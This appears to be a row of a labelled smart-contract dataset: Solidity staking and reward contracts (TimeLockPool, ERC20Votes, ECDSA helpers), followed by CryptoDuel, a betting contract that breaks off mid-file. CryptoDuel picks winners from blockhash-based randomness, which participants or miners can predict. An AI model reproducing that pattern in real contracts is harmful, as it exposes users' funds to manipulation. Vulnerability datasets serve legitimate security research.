} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
pragma solidity ^0.8.0;
abstract contract EIP712 {
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
pragma solidity ^0.8.0;
library Counters {
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
pragma solidity ^0.8.0;
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
pragma solidity ^0.8.0;
library SafeCast {
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
function toInt256(uint256 value) internal pure returns (int256) {
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
pragma solidity ^0.8.0;
abstract contract ERC20Votes is ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
function delegate(address delegatee) public virtual {
_delegate(_msgSender(), delegatee);
}
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity 0.8.7;
interface ITimeLockPool {
function deposit(uint256 _amount, uint256 _duration, address _receiver) external;
}
pragma solidity 0.8.7;
interface IAbstractRewards {
function withdrawableRewardsOf(address account) external view returns (uint256);
function withdrawnRewardsOf(address account) external view returns (uint256);
function cumulativeRewardsOf(address account) external view returns (uint256);
event RewardsDistributed(address indexed by, uint256 rewardsDistributed);
event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn);
}
pragma solidity 0.8.7;
abstract contract AbstractRewards is IAbstractRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed account, int256 points);
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
uint256 public pointsPerShare;
mapping(address => int256) public pointsCorrection;
mapping(address => uint256) public withdrawnRewards;
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
function withdrawableRewardsOf(address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_account) - withdrawnRewards[_account];
}
function withdrawnRewardsOf(address _account) public view override returns (uint256) {
return withdrawnRewards[_account];
}
function cumulativeRewardsOf(address _account) public view override returns (uint256) {
return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER;
}
function _distributeRewards(uint256 _amount) internal {
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _amount);
}
}
function _prepareCollect(address _account) internal returns (uint256) {
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend;
emit RewardsWithdrawn(_account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal {
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare * _shares).toInt256();
pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection;
pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection;
emit PointsCorrectionUpdated(_from, pointsCorrection[_from]);
emit PointsCorrectionUpdated(_to, pointsCorrection[_to]);
}
function _correctPoints(address _account, int256 _shares) internal {
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (pointsPerShare.toInt256()));
emit PointsCorrectionUpdated(_account, pointsCorrection[_account]);
}
}
pragma solidity 0.8.7;
abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
IERC20 public immutable depositToken;
IERC20 public immutable rewardToken;
ITimeLockPool public immutable escrowPool;
uint256 public immutable escrowPortion;
uint256 public immutable escrowDuration;
event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) {
require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%");
require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set");
depositToken = IERC20(_depositToken);
rewardToken = IERC20(_rewardToken);
escrowPool = ITimeLockPool(_escrowPool);
escrowPortion = _escrowPortion;
escrowDuration = _escrowDuration;
if(_rewardToken != address(0) && _escrowPool != address(0)) {
IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max);
}
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
_correctPoints(_account, -(_amount.toInt256()));
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
_correctPoints(_account, _amount.toInt256());
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
_correctPointsForTransfer(_from, _to, _value);
}
function distributeRewards(uint256 _amount) external override nonReentrant {
rewardToken.safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_amount);
}
function claimRewards(address _receiver) external {
uint256 rewardAmount = _prepareCollect(_msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver);
}
if(nonEscrowedRewardAmount > 1) {
rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
}
pragma solidity 0.8.7;
contract TimeLockPool is BasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 10 minutes;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration,
uint256 _maxBonus,
uint256 _maxLockDuration
) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) {
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
uint256 duration = _duration.min(maxLockDuration);
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
_burn(_msgSender(), shareAmount);
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
pragma solidity 0.8.7;
contract View {
struct Data {
uint256 pendingRewards;
Pool[] pools;
Pool escrowPool;
uint256 totalWeight;
}
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
uint256 multiplier;
}
struct Pool {
address poolAddress;
uint256 totalPoolShares;
address depositToken;
uint256 accountPendingRewards;
uint256 accountClaimedRewards;
uint256 accountTotalDeposit;
uint256 accountPoolShares;
uint256 weight;
Deposit[] deposits;
}
LiquidityMiningManager public immutable liquidityMiningManager;
TimeLockPool public immutable escrowPool;
constructor(address _liquidityMiningManager, address _escrowPool) {
liquidityMiningManager = LiquidityMiningManager(_liquidityMiningManager);
escrowPool = TimeLockPool(_escrowPool);
}
function fetchData(address _account) external view returns (Data memory result) {
uint256 rewardPerSecond = liquidityMiningManager.rewardPerSecond();
uint256 lastDistribution = liquidityMiningManager.lastDistribution();
uint256 pendingRewards = rewardPerSecond * (block.timestamp - lastDistribution);
result.totalWeight = liquidityMiningManager.totalWeight();
LiquidityMiningManager.Pool[] memory pools = liquidityMiningManager.getPools();
result.pools = new Pool[](pools.length);
for(uint256 i = 0; i < pools.length; i ++) {
TimeLockPool poolContract = TimeLockPool(address(pools[i].poolContract));
result.pools[i] = Pool({
poolAddress: address(pools[i].poolContract),
totalPoolShares: poolContract.totalSupply(),
depositToken: address(poolContract.depositToken()),
accountPendingRewards: poolContract.withdrawableRewardsOf(_account),
accountClaimedRewards: poolContract.withdrawnRewardsOf(_account),
accountTotalDeposit: poolContract.getTotalDeposit(_account),
accountPoolShares: poolContract.balanceOf(_account),
weight: pools[i].weight,
deposits: new Deposit[](poolContract.getDepositsOfLength(_account))
});
TimeLockPool.Deposit[] memory deposits = poolContract.getDepositsOf(_account);
for(uint256 j = 0; j < result.pools[i].deposits.length; j ++) {
TimeLockPool.Deposit memory deposit = deposits[j];
result.pools[i].deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: poolContract.getMultiplier(deposit.end - deposit.start)
});
}
}
result.escrowPool = Pool({
poolAddress: address(escrowPool),
totalPoolShares: escrowPool.totalSupply(),
depositToken: address(escrowPool.depositToken()),
accountPendingRewards: escrowPool.withdrawableRewardsOf(_account),
accountClaimedRewards: escrowPool.withdrawnRewardsOf(_account),
accountTotalDeposit: escrowPool.getTotalDeposit(_account),
accountPoolShares: escrowPool.balanceOf(_account),
weight: 0,
deposits: new Deposit[](escrowPool.getDepositsOfLength(_account))
});
TimeLockPool.Deposit[] memory deposits = escrowPool.getDepositsOf(_account);
for(uint256 j = 0; j < result.escrowPool.deposits.length; j ++) {
TimeLockPool.Deposit memory deposit = deposits[j];
result.escrowPool.deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: escrowPool.getMultiplier(deposit.end - deposit.start)
});
}
}
} | 1 | 2,690 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
event UpdatedAgent(address _agent, bool _status);
constructor() public {
defAgent = msg.sender;
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
emit UpdatedAgent(_agent, _status);
}
}
contract CryptoDuel is Agent, SafeMath {
uint public fee = 100;
uint public refGroupFee = 5000;
uint public refLevel1Fee = 1000;
uint public refLevel2Fee = 500;
uint public min = 1000000000000000;
uint public max = 1000000000000000000000;
uint256 public start = 0;
uint256 public period = 30 days;
enum State{New, Deleted, OnGoing, Closed}
struct _duel {
address creator;
address responder;
uint bet;
uint blocknumber;
int refID;
State state;
}
_duel[] public Duels;
mapping(int => address) public RefGroup;
mapping(address => address) public RefAddr;
mapping(uint => uint) public reward;
mapping(address => uint) public rewardGroup;
mapping(address => uint) public rewardAddr;
mapping(uint => bool) public AlreadyReward;
event newDuel(uint duel, address indexed creator, address indexed responder, uint bet, int refID);
event deleteDuel(uint duel);
event respondDuel(uint duel, address indexed responder);
event refundDuel(uint duel);
event resultDuel(uint duel, address indexed winner, uint sum);
event changeMin(uint min);
event changeMax(uint max);
event changeRefGroup(int ID, address referrer);
event changeRefAddr(address referal, address referrer);
event changeFee(uint fee);
event changeRefGroupFee(uint refGroupFee);
event changeRefLevel1Fee(uint refLevel1Fee);
event changeRefLevel2Fee(uint refLevel2Fee);
event withdrawProfit(uint fee, address RefGroup);
event UpdatedPeriod(uint _period);
constructor() public {
RefGroup[0] = msg.sender;
emit changeRefGroup(0, msg.sender);
}
function CreateDuel(address _responder) payable external {
require(msg.value >= min && msg.value <= max);
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : 0
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, 0);
}
function CreateDuel(address _responder, int _refID) payable external {
require(msg.value >= min && msg.value <= max);
require(RefGroup[_refID] != address(0));
Duels.push(_duel({
creator : msg.sender,
responder : _responder,
bet : msg.value,
blocknumber : 0,
state : State.New,
refID : _refID
}));
emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, _refID);
}
function RespondDuel(uint _duelID) payable external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.New);
require(duel.bet == msg.value);
require(duel.responder == msg.sender || duel.responder == address(0));
duel.state = State.OnGoing;
duel.responder = msg.sender;
duel.blocknumber = block.number;
emit respondDuel(_duelID, msg.sender);
}
function DeleteDuel(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.creator == msg.sender);
require(duel.state == State.New);
duel.state = State.Deleted;
uint duel_fee = safePerc(duel.bet, fee);
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
reward[N] = safeAdd(reward[N], duel_fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
emit deleteDuel(_duelID);
}
function GetWin(uint _duelID) external {
_duel storage duel = Duels[_duelID];
require(duel.state == State.OnGoing);
require(duel.creator == msg.sender || duel.responder == msg.sender);
require(block.number > duel.blocknumber + 1);
duel.state = State.Closed;
uint duel_fee = 0;
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period + 1;
}
if (blockhash(duel.blocknumber) == 0 || (block.number - duel.blocknumber) > 256) {
duel_fee = safePerc(duel.bet, fee);
duel.creator.transfer(safeSub(duel.bet, duel_fee));
duel.responder.transfer(safeSub(duel.bet, duel_fee));
reward[N] = safeAdd(reward[N], safeMul(2, duel_fee));
emit refundDuel(_duelID);
} else {
uint hash = uint(keccak256(abi.encodePacked(blockhash(duel.blocknumber + 1), duel.creator, duel.responder, duel.bet)));
uint duel_bet_common = safeMul(2, duel.bet);
duel_fee = safePerc(duel_bet_common, fee);
uint refFee = 0;
uint sum = safeSub(duel_bet_common, duel_fee);
address winner;
if (hash % 2 == 0) {
duel.creator.transfer(sum);
winner = duel.creator;
emit resultDuel(_duelID, duel.creator, sum);
} else {
duel.responder.transfer(sum);
winner = duel.responder;
emit resultDuel(_duelID, duel.responder, sum);
}
if (RefAddr[winner] != address(0)) {
refFee = refLevel1Fee;
rewardAddr[RefAddr[winner]] = safeAdd(rewardAddr[RefAddr[winner]], safePerc(duel_fee, refLevel1Fee));
if (RefAddr[RefAddr[winner]] != address(0)) {
refFee = safeAdd(refFee, refLevel2Fee);
rewardAddr[RefAddr[RefAddr[winner]]] = safeAdd(rewardAddr[RefAddr[RefAddr[winner]]], safePerc(duel_fee, refLevel2Fee));
}
}
if (duel.refID != 0) {
refFee = safeSub(refGroupFee, refFee);
rewardGroup[RefGroup[duel.refID]] = safeAdd(rewardGroup[RefGroup[duel.refID]], safePerc(duel_fee, refFee));
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, refGroupFee)));
} else {
reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, refFee)));
}
}
}
function setMin(uint _min) external onlyOwner {
min = _min;
emit changeMin(_min);
}
function setMax(uint _max) external onlyOwner {
max = _max;
emit changeMax(_max);
}
function setFee(uint _fee) external onlyOwner {
fee = _fee;
emit changeFee(_fee);
}
function setRefGroupFee(uint _refGroupFee) external onlyOwner {
refGroupFee = _refGroupFee;
emit changeRefGroupFee(_refGroupFee);
}
